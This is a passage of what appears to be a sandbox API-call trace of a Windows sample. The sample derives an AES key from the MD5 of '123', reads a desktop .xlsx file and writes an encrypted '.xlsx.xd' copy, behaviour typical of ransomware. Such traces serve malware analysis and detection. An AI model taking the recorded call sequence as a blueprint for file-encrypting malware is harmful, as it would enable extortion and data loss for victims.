dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0074.783] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0074.783] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0074.783] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294d0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0074.783] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.783] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0074.783] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0074.783] CloseHandle (hObject=0x0) returned 0 [0074.783] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.784] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0074.784] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0074.784] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.784] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.784] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.784] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.784] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0074.784] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.784] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0074.785] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.785] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.785] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0074.785] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.785] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.785] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.785] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.785] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.785] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0074.785] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0074.786] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0074.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0074.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e290, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0074.786] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0074.786] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0074.787] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.787] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.787] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0074.787] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.787] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.787] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.787] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.787] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.787] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.787] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.787] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.787] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.787] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.787] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.787] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.788] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0074.788] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.788] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.789] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.789] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.789] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.789] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.789] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.789] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.789] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.789] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.789] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.789] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.789] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.789] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.789] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.789] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.789] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.789] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.789] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621360, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0074.790] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0074.790] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0074.790] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.790] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.790] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.790] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0074.790] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0074.790] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629440, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0074.791] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.791] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.791] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.791] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0074.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16217c8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0074.792] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0074.792] CryptHashData (hHash=0x164c770, pbData=0x16293c0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0074.792] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 1 [0074.793] TranslateMessage (lpMsg=0x130ec34) returned 0 [0074.793] DispatchMessageW (lpMsg=0x130ec34) returned 0x0 [0074.793] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e298) returned 1 [0074.797] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0074.797] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0074.797] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.797] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.798] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.798] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.798] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.798] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.798] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.798] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0074.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621660, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0074.798] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0074.798] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164c770, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c3f0) returned 1 [0074.798] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.799] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.799] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.799] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.799] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.799] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.799] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0074.799] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0074.799] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0074.799] CryptDestroyHash (hHash=0x164c770) returned 1 [0074.799] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.799] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.800] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.800] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.800] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.800] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\7l2agavlfyrod.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0074.800] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.800] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0074.800] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.800] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.801] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.801] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0074.802] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7l2AGAVLfYRod.xlsx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\7l2agavlfyrod.xlsx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0074.805] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.805] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.805] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.805] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.808] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0074.808] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0074.810] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x66c2, lpOverlapped=0x0) returned 1 [0074.810] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0074.814] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.814] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.814] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.814] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0074.815] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.815] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.815] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0074.815] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.816] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0074.816] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.816] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.816] CharUpperBuffW (in: 